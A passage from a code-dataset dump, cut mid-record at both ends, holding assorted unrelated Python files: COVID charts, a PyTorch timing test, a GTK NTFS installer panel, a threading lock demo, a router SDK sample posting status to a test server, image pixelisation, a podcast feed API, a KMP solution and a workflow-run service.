int(tc_Bangladesh)+int(tc_Bhutan)+int(tc_India)+int(tc_Maldives)+int(tc_Nepal)+int(tc_Pakistan)+int(tc_SriLanka)\ntotalSAARCCases = tc_Bangladesh+tc_Bhutan+tc_India+tc_Maldives+tc_Nepal+tc_Pakistan+tc_SriLanka\nprint(totalSAARCCases)\n\n# Pie chart plotting\nlabels = 'Bangladesh', 'India', 'Maldives', 'Nepal', 'Pakistan', 'Bhutan', 'Sri Lanka'\nsizes = [tc_Bangladesh, tc_India, tc_Maldives, tc_Nepal, tc_Pakistan, tc_Bhutan, tc_SriLanka]\nexplode = (0.2, 0.0, 0.2, 0.1, 0.1, 0.3, 0.0)\n\nfig2, ax2 = plt.subplots()\nax2.pie(sizes, explode=explode, labels=labels, autopct='%1.f%%', shadow=False, startangle=45)\nax2.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\nax2.set(aspect=\"equal\", title='Total SAARC Cases as of {} = {}'.format(todayDate, totalSAARCCases))\nplt.show()\n\n#Sorting the data based on a single column in a file and output using sort_values() method (descending order - ascending=False)\ncv1_TotalCases = cv1.sort_values('Gross Total cases', ascending=False)\ncv1_TotalRecovered = cv1.sort_values('Total recovered', ascending=False)\ncv1_TotalCasesPerMillion = cv1.sort_values('Total cases per 1M pop.', ascending=False)\ncv1_TotalDeaths = cv1.sort_values('Gross Total deaths', ascending=False)\ncv1_NewCases = cv1.sort_values('New cases', ascending=False)\ncv1_NewDeaths = cv1.sort_values('New deaths', ascending=False)\n\n#Graph of SAARC 'Total cases'\nx = cv1_TotalCases.head(7)\nrowcategory = \"Country\"\ncolumncategory = \"Gross Total cases\"\nfigureNum = 7\ngraphColor = \"Red\"\ntitlestring = \"SAARC countries compare based on: \"\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n#Graph of top SAARC 'Total recovered'\nx = cv1_TotalRecovered.head(7)\nrowcategory = \"Country\"\ncolumncategory = \"Total recovered\"\nfigureNum = 8\ngraphColor = \"lime\"\ntitlestring = \"SAARC countries compare based on: \"\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)\n\n#Graph of top SAARC 'Total deaths'\nx = cv1_TotalDeaths.head(7)\nrowcategory = \"Country\"\ncolumncategory = \"Gross Total deaths\"\nfigureNum = 10\ngraphColor = \"black\"\ntitlestring = \"SAARC countries compare based on: \"\nplotGraph(x, rowcategory, columncategory, figureNum, graphColor, titlestring)","sub_path":"myMatplotlib_CoronaVirusGraphs_v5.py","file_name":"myMatplotlib_CoronaVirusGraphs_v5.py","file_ext":"py","file_size_in_byte":8896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"560398097","text":"import torch\nfrom torch.autograd import Variable\n\nimport time\n\nfrom demo import Model\n\n\nclass Timer(object):\n\n def __enter__(self):\n self.start = time.process_time()\n return self\n\n def __exit__(self, *args):\n self.end = time.process_time()\n self.interval = self.end - self.start\n\n\ndef product_copy(model, p, h):\n bp, bh = p.size(0), h.size(0)\n multip = p.repeat(bh, 1).view(bp * bh, p.size(1))\n multih = h.repeat(bp, 1)\n return model(multip, multih, product=False)\n\n\ndef run():\n fn = 'noreg.h5'\n model = Model(fn)\n\n batch_size = 100\n seq_length = 30\n\n fake_p = Variable(torch.arange(0, batch_size * seq_length).view(batch_size, seq_length).long())\n fake_h = Variable(torch.arange(0, batch_size * seq_length).view(batch_size, seq_length).long())\n\n with Timer() as t:\n out = model(fake_p, fake_h)\n print(\"[out] Elapsed:\", t.interval)\n\n with Timer() as t:\n out_copy = product_copy(model, fake_p, fake_h)\n print(\"[copy] Elapsed:\", t.interval)\n\n with Timer() as t:\n out_broadcast = model(fake_p, fake_h, product=True)\n print(\"[broadcast] Elapsed:\", t.interval)\n\n assert (out_broadcast - out_broadcast).sum().abs().data[0] < 1e-8\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"644685037","text":"# Add python code in this file\n# -*- coding: utf-8 -*-\n\nimport csv\n\n\ndef get_cities():\n with open('cities.csv') as f:\n cities = [city for city in csv.DictReader(f)]\n return cities\n\n\ndef process_points():\n with open('points.csv') as f:\n points = []\n cities = get_cities()\n for point in csv.DictReader(f):\n for city in cities:\n TopLeft_X = int(city['TopLeft_X'])\n TopLeft_Y = int(city['TopLeft_Y'])\n BottomRight_X = int(city['BottomRight_X'])\n BottomRight_Y = int(city['BottomRight_Y'])\n point_X = int(point['X'])\n point_Y = int(point['Y'])\n\n in_x_range = (BottomRight_X >= point_X >= TopLeft_X)\n in_y_range = (BottomRight_Y >= point_Y >= TopLeft_Y)\n\n if in_x_range and in_y_range:\n point['City'] = city['Name']\n break\n\n if not point.get('City'):\n point['City'] = 'None'\n points.append(point)\n return points\n\n\nif __name__ == '__main__':\n with open('output_points.csv', 'w') as f:\n fieldnames = ['ID', 'X', 'Y', 'City']\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n points = process_points()\n writer.writeheader()\n writer.writerows(points)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519183856","text":"# ntfs_gui.py - gui toolkit specific methods for the ntfs stage\n#\n# (c) Copyright 2008, 2009 Michael Towers \n#\n# This file is part of the larch project.\n#\n# larch is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# larch is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with larch; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n#\n#----------------------------------------------------------------------------\n# 2009.03.20\n\nclass gui_NTFS:\n def __init__(self):\n self.checkNTFSdelete = mainWindow.widget(\"checkNTFSdelete\")\n self.checkNTFSdelete.connect(\"toggled\", self.del_check_cb)\n self.checkNTFSshrink = mainWindow.widget(\"checkNTFSshrink\")\n self.checkNTFSshrink.connect(\"toggled\", self.shrink_check_cb)\n\n self.shrinkwidget = mainWindow.widget(\"frameNTFSsize\")\n self.ntfsadj = mainWindow.widget(\"adjustmentNTFS\")\n self.ntfsadj.connect(\"value_changed\", self.ntfs_size_cb)\n\n mainWindow.widget(\"comboboxNTFSdisk\").connect(\"changed\",\n self.changedisk_cb)\n self.disklist = mainWindow.widget(\"liststoreNTFSdisk\")\n self.disksize = mainWindow.widget(\"entryNTFScapacity\")\n self.ntfslist = mainWindow.widget(\"liststoreNTFS\")\n self.pselection = mainWindow.widget(\"listNTFS\").get_selection()\n self.sizewidget = mainWindow.widget(\"entryNTFSfree\")\n\n\n def del_check_cb(self, widget, data=None):\n state = not self.checkNTFSdelete.get_active()\n self.checkNTFSdelete.set_active(state)\n if state:\n self.checkNTFSshrink.set_sensitive(False)\n self.shrinkwidget.set_sensitive(False)\n elif not self.toofull:\n # Enable the shrinking stuff if shrinking is possible\n self.checkNTFSshrink.set_sensitive(True)\n if self.checkNTFSshrink.get_active():\n self.shrinkwidget.set_sensitive(True)\n # Update free size display\n self.ntfs_size_cb()\n\n\n def shrink_check_cb(self, widget, data=None):\n state = not self.checkNTFSshrink.get_active()\n self.checkNTFSshrink.set_active(state)\n self.shrinkwidget.set_sensitive(state)\n # Update free size display\n self.ntfs_size_cb()\n\n\n def ntfs_size_cb(self, widget=None, data=None):\n \"\"\"Update the potential free size display.\n \"\"\"\n self.sizewidget.set_text(self.get_rest_size_cb())\n\n\n def changedisk_cb(self, widget, data=None):\n \"\"\"When a new drive is selected call the set-up method, set_device_cb.\n \"\"\"\n active = combobox.get_active()\n if active >= 0:\n self.set_device_cb(self.disklist[active][0])\n\n\n def gui_reset(self, drives):\n self.disklist.clear()\n self.ntfslist.clear()\n for d in drives:\n self.disklist.append([d])\n\n\n def gui_show_disksize(self, sizetext):\n self.disksize.set_text(sizetext)\n\n\n def gui_show_parts(self, plist):\n for p, s in plist:\n self.ntfslist.append([p, \"%s GB\" % s])\n self.pselection.select_path(\"0\")\n\n\n def gui_shrinkinit(self, shrinkon, sizeG):\n self.ntfsadj.lower = self.minsizeG\n self.ntfsadj.upper = self.maxsizeG\n self.ntfsadj.value = sizeG\n # Update free size display (may be superfluous)\n self.ntfs_size_cb()\n\n self.checkNTFSshrink.set_active(shrinkon)\n if self.gui_deleteflag():\n self.shrinkwidget.set_sensitive(False)\n self.checkNTFSshrink.set_sensitive(False)\n else:\n self.shrinkwidget.set_sensitive(shrinkon)\n self.checkNTFSshrink.set_sensitive(True)\n\n\n def gui_set_delete(state):\n self.checkNTFSdelete.set_active(state)\n\n\n def gui_deleteflag(self):\n return self.checkNTFSdelete.get_active()\n\n\n def gui_shrinkflag(self):\n return self.checkNTFSshrink.get_active()\n\n\n def gui_size(self):\n return self.ntfsadj.value\n","sub_path":"larch7/newlarchin/larchin/modules/gtk/ntfs_gui.py","file_name":"ntfs_gui.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"374194507","text":"#!/usr/bin/env python3\n# file: thread_demo_1.py\n# Created by Guang at 19-7-15\n# description:\n\n# *-* coding:utf8 *-*\n\n\nimport threading\nimport time\nimport sys\n\n\ng_num = 0\n# count = 100000\ncount = int(sys.argv[1])\n\n# 创建锁\nmutex = threading.Lock()\n# # 锁定\n# mutex.acquire()\n# # 释放\n# mutex.release()\n\n\ndef _sum_1(count):\n global g_num\n for i in range(count):\n mutex.acquire() # 上锁\n g_num += 1\n mutex.release() # 解锁\n\n print(\"---—_sun_1---g_num=%d\" % g_num)\n\n\ndef _sum_2(count):\n global g_num\n for i in range(count):\n mutex.acquire() # 上锁\n g_num += 1\n mutex.release() # 解锁\n\n print(\"---—_sun_2---g_num=%d\" % g_num)\n\n\nif __name__ == '__main__':\n t1 = threading.Thread(target=_sum_1, args=(count, ))\n t2 = threading.Thread(target=_sum_2, args=(count, ))\n\n t1.start()\n t2.start()\n\n while len(threading.enumerate()) != 1:\n time.sleep(1)\n\n print(\"当前g_num的值:{}\".format(g_num))\n\n\n\n########################################################\n\"\"\"\n笔记:\n1.使用多线程并发的操作,花费时间要短很多\n2.当调用start()时,才会真正的创建线程,并且开始执行\n\n3.主线程会等待所有的子线程结束后才结束\n\n4.一般工程中更多的是封装 MyThread(threading.Thread) , 重写 run() 方法来实现 多线程; 当执行 线程实例.start() 时,python解释器自动去实现每个线程实例都去执行 run()\n - 当线程的run()方法结束时该线程完成\n\n5.多线程的执行顺序是不确定的。\n - 无法控制线程调度程序,但可以通过别的方式来影响线程调度的方式\n\n6.每一个线程可以指定名字, 如果不指定默认是: Thread-N\n\n7.在一个进程内的所有线程共享全局变量,很方便在多个线程间共享数据, 但是会引发 “资源竞争” 问题, python是线程不安全的, 通过线程同步来解决\n8.缺点就是,线程是对全局变量随意遂改可能造成多线程之间对全局变量的混乱(即线程非安全)\n\n9.互斥锁 -- 解决资源竞争\n- 创建锁 : mutex = threading.Lock()\n- 锁定 : mutex.acquire() # 默认没有锁, 如果之前没有上锁, 此时上锁成功; 如果之前已经上锁, 则阻塞在这里, 直到这个锁被解开。\n- 释放 : mutex.release()\n注意: \n- 如果这个锁之前是没有上锁的,那么acquire不会堵塞\n- 如果在调用acquire对这个锁上锁之前 它已经被 其他线程上了锁,那么此时acquire会堵塞,直到这个锁被解锁为止\n\n\n\n\n\"\"\"","sub_path":"multitask_thread/thread_5_互斥锁解决资源竞争.py","file_name":"thread_5_互斥锁解决资源竞争.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"161423431","text":"'''\nGets the '/status' from the router config store and send it\nto a test server.\n'''\n\nimport sys\nimport argparse\nimport datetime\nimport urllib.request\nimport urllib.parse\nimport json\nimport time\nimport cs\n\nAPP_NAME = 'send_to_server'\n\n\ndef post_to_server():\n try:\n # The tree item to get from the router config store\n tree_item = '/status/system/sdk'\n start_time = datetime.datetime.now()\n\n # Get the item from the router config store\n tree_data = cs.CSClient().get(tree_item)\n cs.CSClient().log(APP_NAME, \"{}: {}\".format(tree_item, tree_data))\n\n time_to_get = datetime.datetime.now() - start_time\n encode_start_time = datetime.datetime.now()\n\n # URL encode the tree_data\n params = urllib.parse.urlencode(tree_data)\n\n # UTF-8 encode the URL encoded data\n params = params.encode('utf-8')\n\n time_to_encode = datetime.datetime.now() - encode_start_time\n send_to_server_start_time = datetime.datetime.now()\n\n # Send a post request to a test server. It will respond with the data sent\n # in the request\n response = urllib.request.urlopen(\"http://httpbin.org/post\", params)\n end_time = datetime.datetime.now()\n\n # Log the response code and the processing timing information.\n cs.CSClient().log(APP_NAME, \"data sent, http response code: {}\".format(response.code))\n cs.CSClient().log(APP_NAME, 'Time to get data from router config store: {}'.format(time_to_get))\n cs.CSClient().log(APP_NAME, 'Time to urlencode data: {}'.format(time_to_encode))\n cs.CSClient().log(APP_NAME, 'Time to get reply from server: {}'.format(end_time - send_to_server_start_time))\n cs.CSClient().log(APP_NAME, 'Time to get and send data in post request: {}'.format(end_time - start_time))\n\n except Exception as ex:\n cs.CSClient().log(APP_NAME, 'Something went wrong! ex: {}'.format(ex))\n raise\n\n return\n\n\ndef action(command):\n try:\n # Log the action for the app.\n cs.CSClient().log(APP_NAME, 'action({})'.format(command))\n\n if command == 'start':\n post_to_server()\n\n elif command == 'stop':\n # Do nothing\n pass\n except Exception as ex:\n cs.CSClient().log(APP_NAME, 'Problem with {} on {}! ex: {}'.format(APP_NAME, command, ex))\n raise\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('opt')\n args = parser.parse_args()\n\n cs.CSClient().log(APP_NAME, 'args: {})'.format(args))\n opt = args.opt.strip()\n if opt not in ['start', 'stop']:\n cs.CSClient().log(APP_NAME, 'Failed to run command: {}'.format(opt))\n exit()\n\n action(opt)\n","sub_path":"send_to_server/send_to_server.py","file_name":"send_to_server.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"647088633","text":"from time import sleep as sp\nfrom os import system as st\nst('cls')\nn1 = int(input('Primeiro número: '))\nn2 = int(input('Segundo número: '))\nc = 0\nwhile c <= 5:\n print('''[1] Somar:\n[2] Produto:\n[3] Maior:\n[4] Novos números:\n[5] Sair: ''')\n opcao = int(input('Digite a sua opção: '))\n st('cls')\n if opcao == 1:\n soma = n1 + n2\n print(f'A soma de {n1} e {n2} é {soma}')\n elif opcao == 2:\n produto = n1 * n2\n print(f'O produto de {n1} e {n2} é: {produto}')\n elif opcao == 3:\n if n1 > n2:\n print(f'O maior entre {n1} e {n2} é: {n1}')\n elif n2 > n1:\n print(f'O maior entre {n1} e {n2} é: {n2}')\n else:\n print(f'Os valores {n1} e {n2} são iguais')\n elif opcao == 4:\n n1 = int(input('Primeiro número: '))\n n2 = int(input('Segundo número: '))\n else:\n print('Saindo...')\n sp(2)\n break","sub_path":"Arquivos em PYTHON/Exercícios/Site_Curso_em_Video/Mundo 2/Aula 14/Estrutura de Repetição ( WHILE )/ex059.py","file_name":"ex059.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"540441194","text":"#! /usr/bin/env python3\n#-*- conding utf-8 -*-\n\nfrom PIL import Image\nimport os\n\n\n\"\"\"\nThis module contain the function:\n\n-pixelisation :\n pixelise the picture with pixel of size you want\n\n\n\"\"\"\n\nclass ImgPixelisation:\n \"\"\"\n A class containing all the element necessary to do a pixelisation effect\n \"\"\"\n\n def __init__(self, img, px_size):\n\n #actual pos on the pic\n self.x = 0\n self.y = 0\n #size of pic and zone\n self.px_size = px_size\n self.size_x, self.size_y = img.size\n #each pixel value (rgb)\n self.px = img.load()\n self.end = False\n self.avg = tuple\n\n #lambda to avoid gooing too far on the line/column\n self.max_x = lambda x : self.x + self.px_size if self.x + self.px_size <= self.size_x else self.size_x\n self.max_y = lambda y : self.y + self.px_size if self.y + self.px_size <= self.size_y else self.size_y\n\n def get_average(self):\n \"\"\" get the average of each RGB component of each pixel of the zone \"\"\"\n\n sum = [0,0,0]\n nb = self.px_size * self.px_size\n for j in range(self.y, self.max_y(self.y)):\n for i in range(self.x, self.max_x(self.x)):\n sum[0] += self.px[i,j][0]\n sum[1] += self.px[i,j][1]\n sum[2] += self.px[i,j][2]\n\n self.avg = (round(sum[0] / nb), round(sum[1] / nb), round(sum[2] / nb))\n\n def fill(self):\n \"\"\" fill the zone\"\"\"\n\n for j in range(self.y, self.max_y(self.y)):\n for i in range(self.x, self.max_x(self.x)):\n self.px[i,j] = self.avg\n\n def next_line(self):\n self.x = 0\n self.y += self.px_size\n\n if self.x >= self.size_x and self.y >= self.size_y:\n self.end = True\n\n def next_column(self):\n self.x += self.px_size\n\n if self.x >= self.size_x and self.y >= self.size_y:\n self.end = True\n\n def end_line(self):\n return self.x >= self.size_x\n\n\n\ndef pixelisation(img, px_size):\n \"\"\"\n The function for each zone of size px_size attribute the average color of\n each pixel of the zone\n \"\"\"\n\n pixy = ImgPixelisation(img, px_size)\n\n while (not pixy.end):\n while(not pixy.end_line()):\n pixy.get_average()\n pixy.fill()\n pixy.next_column()\n pixy.next_line()\n\n\n\n\n\nif __name__ == \"__main__\":\n img = Image.open(\"../image/spidey.jpg\")\n i = int(input(\"pixelisation size : \"))\n pixelisation(img, i)\n img.show()\n print (\"pixelisation: \\n\")\n os.system(\"pause\")\n","sub_path":"src/pixelisation.py","file_name":"pixelisation.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212365891","text":"#!/usr/bin/env python3\n\nimport sys\nimport config\n\nfrom mox.data import Database, Migrator, MigrationLogger\n\n\nif len(sys.argv) > 1:\n key = sys.argv[1]\nelse:\n key = None\n\nconfig = config.for_key(key)\n\ndb = Database(config)\nmigrator = Migrator(db)\nlogger = MigrationLogger(config)\n\ndb.open()\n\nmigrations = migrator.migrate_latest()\nlogger.log_performed_migrations(migrations)\n\ndb.close()\n","sub_path":"scripts/migrate_latest.py","file_name":"migrate_latest.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"162364421","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\n#The MIT License (MIT)\n#Copyright (c) 2015 Johan Fosse\n\n#Permission is hereby granted, free of charge, to any person obtaining a copy\n#of this software and associated documentation files (the \"Software\"), to deal\n#in the Software without restriction, including without limitation the rights\n#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n#copies of the Software, and to permit persons to whom the Software is\n#furnished to do so, subject to the following conditions:\n\n#The above copyright notice and this permission notice shall be included in\n#all copies or substantial portions of the Software.\n\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n#THE SOFTWARE.\n\n__author__ = \"Johan Fosse\"\n__version__ = 0.1\n__doc__ = \"\"\"\n\nEncryption in a cipher-ish way using a push method\n\ncontent included:\n\n-Encryption\n\n\n\"\"\"\n\n#import higher level vars\nfrom . import letters\nfrom . import calphabet\n\ndef Encrypter(word):\n \"\"\"Encrypt a string using a cipher method\"\"\"\n rphrase = \"\"\n alphabet = [s for s in letters]\n cralphabet = [s for s in calphabet]\n for l, char in enumerate(word):\n for pos, a in enumerate(alphabet):\n if a == char:\n rphrase += cralphabet[pos]\n return rphrase\n","sub_path":"RitzCore/crypto/Enc.py","file_name":"Enc.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"362122908","text":"import json\nfrom . import app\nfrom feed import Feed\nfrom flask import jsonify, request\n\n\n@app.route('/')\ndef index():\n return jsonify()\n\n\n@app.route('/audio')\ndef feed():\n \"\"\"\n Takes an RSS feed, caches it, and parses it for the specified episode's\n audio URL.\n\n :url_param feed_url: URL for podcast's RSS feed.\n :type feed_url: ``str``\n\n :url_param index: Integer specifying episode. Defaults to -1 (latest).\n :type index: ``int``\n\n :return audio_url: URL for specified episode's audio.\n :rtype audio_url: ``str``\n \"\"\"\n url = request.args.get('feed_url')\n if not url:\n return jsonify(error_message='feed_url required.')\n\n try:\n index = int(request.args.get('index'))\n except ValueError:\n err = 'index must be an integer.'\n app.logger.info(json.dumps({'user_error': err}))\n return jsonify(error_message=err), 400\n except TypeError:\n index = -1 # int(None) raises TypeError\n\n feed = Feed(url=url)\n app.logger.debug(json.dumps({'feed_title': feed.title}))\n\n try:\n entry = feed.entries[index]\n app.logger.debug(json.dumps({'entry_title': entry.title}))\n except IndexError:\n err = 'episode {} not found'.format(index)\n app.logger.info(json.dumps({'error': err}))\n return jsonify(error_message=err), 404\n\n app.logger.debug(json.dumps({'audio_url': entry.audio}))\n return jsonify(audio_url=entry.audio)\n","sub_path":"podhub/follower/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"544171368","text":"import sys\ninput = sys.stdin.readline\n\ndef KMP(text, suspect):\n lt = len(text)\n ls = len(suspect)\n\n i = 0\n j = 0\n while i < lt:\n if text[i] == suspect[j]:\n i += 1\n j += 1\n elif text[i] != suspect[j]:\n if j != 0:\n j = lps[j-1]\n else:\n i += 1\n\n if j == ls:\n # 동일한 부분이 존재 시 return\n return True\n # 없을 시\n return False\n\ndef getLPS(p, lps):\n leng = 0\n i = 1\n while i < len(p):\n if p[i] == p[leng]:\n leng += 1\n lps[i] = leng\n i += 1\n else:\n if leng != 0:\n leng = lps[leng-1]\n else:\n lps[i] = 0\n i += 1\n\n\nn, k = map(int, input().split())\ntext_list = []\nmin_n, min_index = 0, 0\n\nfor i in range(n):\n t_len = int(input())\n # 제일 짧은 수열의 길이와 인덱스를 저장\n if min_n < t_len:\n min_n = t_len\n min_index = i\n\n text_list.append(input().split())\n\n# 0부터 제일 짧은 수열의 길이 - k + 1만큼 반복\nfor i in range(0, len(text_list[min_index])-k+1):\n # i부터 k 길이를 갖도록 슬라이싱\n suspect = text_list[min_index][i:i+k]\n # LPS 계산하여 저장\n lps = [0 for _ in range(k)]\n getLPS(suspect, lps)\n\n # 정답 여부를 확인 할 변수 ans\n ans = 0\n\n # 다른 문자열들을 기준으로 반복\n for text_index in range(n):\n # 제일 짧은 문자열과 동일 시 확인하지 않음\n if text_index == min_index:\n continue\n # suspect 수열과 동일한 부분이 존재 시\n if KMP(text_list[text_index], suspect):\n ans += 1\n # suspect 수열을 반대로 한 것과 동일한 부분이 존재 시\n elif KMP(text_list[text_index], list(reversed(suspect))):\n ans += 1\n\n # 다른 문자열들 모두 동일한 수열이 존재할 시\n if ans == n-1:\n print(\"YES\")\n sys.exit(0)\nprint(\"NO\")\n","sub_path":"python/BOJ_7575.py","file_name":"BOJ_7575.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"33551283","text":"#!/usr/local/bin/python3\n# coding: utf-8\nimport os\nimport shlex\nimport signal\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom subprocess import PIPE, Popen\nfrom uuid import uuid4\n\nimport yaml\n\nfrom flask import abort\n\nfrom .util import (PID_INFO_FILE_NAME, RUN_BASE_DIR, RUN_EXECUTION_SCRIPT_PATH,\n RUN_ORDER_FILE_NAME, RUN_SHELL_STDERR_FILE_NAME,\n RUN_SHELL_STDOUT_FILE_NAME, STATUS_FILE_NAME,\n STDERR_FILE_NAME, STDOUT_FILE_NAME, UPLOAD_URL_FILE_NAME,\n WORKFLOW_FILE_NAME, WORKFLOW_PARAMETERS_FILE_NAME,\n read_service_info, read_workflow_info)\nfrom .workflows import fetch_file\n\n\n# GET /runs\ndef get_run_status_list():\n run_status_list = []\n for status_file in RUN_BASE_DIR.glob(\"**/{}\".format(STATUS_FILE_NAME)):\n run_status = dict()\n run_status[\"run_id\"] = status_file.parent.name\n _update_end_time(run_status[\"run_id\"])\n with status_file.open(mode=\"r\") as f:\n run_status[\"status\"] = f.read().strip()\n run_status_list.append(run_status)\n\n return run_status_list\n\n\n# POST /runs\ndef validate_post_runs_request(request):\n run_order = dict(request.form)\n if \"workflow_parameters\" not in request.files:\n abort(400, \"Workflow parameter file not attached.\")\n for param in [\"workflow_name\", \"execution_engine_name\"]:\n if param not in run_order:\n abort(400, \"Param: {} is not included.\".format(param))\n\n\n# POST /runs\ndef generate_run_order(request):\n \"\"\"\n run_order = {\n \"workflow_name\": str,\n \"workflow_location\": str,\n \"workflow_version\": str,\n \"workflow_content\": str,\n \"workflow_parameters\": str,\n \"language_type\": str,\n \"language_version\": str,\n \"execution_engine_name\": str,\n \"execution_engine_version\": str,\n \"start_time\": str (datetime -> str),\n \"end_time\": str (datetime -> str),\n }\n \"\"\"\n run_order = deepcopy(dict(request.form))\n run_order[\"workflow_parameters\"] = request.files[\"workflow_parameters\"].stream.read( # NOQA\n ).decode(\"utf-8\")\n run_order[\"workflow_location\"], run_order[\"workflow_version\"], run_order[\"workflow_content\"], run_order[ # NOQA\n \"language_type\"], run_order[\"language_version\"] = _fetch_workflow_file(run_order[\"workflow_name\"]) # NOQA\n run_order[\"execution_engine_version\"] = _validate_engine(\n run_order[\"execution_engine_name\"], run_order[\"language_type\"], run_order[\"language_version\"]) # NOQA\n run_order[\"start_time\"] = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n run_order[\"end_time\"] = \"\"\n\n return run_order\n\n\ndef _fetch_workflow_file(workflow_name):\n workflow_info = read_workflow_info()\n for workflow in workflow_info[\"workflows\"]:\n if workflow[\"workflow_name\"] == workflow_name:\n workflow_content = fetch_file(workflow[\"workflow_location\"])\n return workflow[\"workflow_location\"], workflow[\"workflow_version\"], workflow_content, workflow[\"language_type\"], workflow[\"language_version\"] # NOQA\n abort(400, \"Workflow does not exist: {}\".format(workflow_name))\n\n\ndef _validate_engine(engine, language_type, language_version):\n service_info = read_service_info()\n for workflow_engine in service_info[\"workflow_engines\"]:\n if workflow_engine[\"engine_name\"] == engine:\n for type_version in workflow_engine[\"workflow_types\"]:\n if type_version[\"language_type\"] == language_type and type_version[\"language_version\"] == language_version: # NOQA\n return workflow_engine[\"engine_version\"]\n abort(400, \"Workflow engine parameter is incorrect.\")\n\n\n# POST /runs\ndef execute(run_order):\n uuid = str(uuid4())\n _prepare_run_dir(uuid, run_order)\n _fork_run(uuid)\n\n return {\"run_id\": uuid, \"status\": \"PENDING\"}\n\n\ndef _prepare_run_dir(uuid, run_order):\n run_dir = RUN_BASE_DIR.joinpath(uuid[:2]).joinpath(uuid)\n run_dir.mkdir(parents=True)\n with run_dir.joinpath(STATUS_FILE_NAME).open(mode=\"w\") as f:\n f.write(\"QUEUED\")\n with run_dir.joinpath(RUN_ORDER_FILE_NAME).open(mode=\"w\") as f:\n f.write(yaml.dump(run_order, default_flow_style=False))\n with run_dir.joinpath(WORKFLOW_FILE_NAME).open(mode=\"w\") as f:\n f.write(run_order[\"workflow_content\"])\n with run_dir.joinpath(WORKFLOW_PARAMETERS_FILE_NAME).open(mode=\"w\") as f:\n f.write(run_order[\"workflow_parameters\"])\n run_dir.joinpath(PID_INFO_FILE_NAME).touch()\n run_dir.joinpath(UPLOAD_URL_FILE_NAME).touch()\n run_dir.joinpath(STDOUT_FILE_NAME).touch()\n run_dir.joinpath(STDERR_FILE_NAME).touch()\n\n return True\n\n\ndef _fork_run(uuid):\n run_dir = RUN_BASE_DIR.joinpath(uuid[:2]).joinpath(uuid)\n run_shell_stdout_file = run_dir.joinpath(RUN_SHELL_STDOUT_FILE_NAME)\n run_shell_stderr_file = run_dir.joinpath(RUN_SHELL_STDERR_FILE_NAME)\n cmd = \"/bin/bash {} {}\".format(RUN_EXECUTION_SCRIPT_PATH, uuid)\n l_cmd = shlex.split(cmd)\n with run_shell_stdout_file.open(mode=\"w\") as f_stdout, \\\n run_shell_stderr_file.open(mode=\"w\") as f_stderr:\n proc = Popen(l_cmd, stdout=f_stdout, stderr=f_stderr)\n run_dir = RUN_BASE_DIR.joinpath(uuid[:2]).joinpath(uuid)\n with run_dir.joinpath(PID_INFO_FILE_NAME).open(mode=\"w\") as f:\n f.write(str(proc.pid))\n\n\n# GET /runs/\ndef get_run_info(run_id):\n _update_end_time(run_id)\n run_info = dict()\n run_info[\"run_id\"] = run_id\n run_dir = list(RUN_BASE_DIR.glob(\"**/{}\".format(run_id)))[0]\n with run_dir.joinpath(STATUS_FILE_NAME).open(mode=\"r\") as f:\n run_info[\"status\"] = f.read().strip()\n with 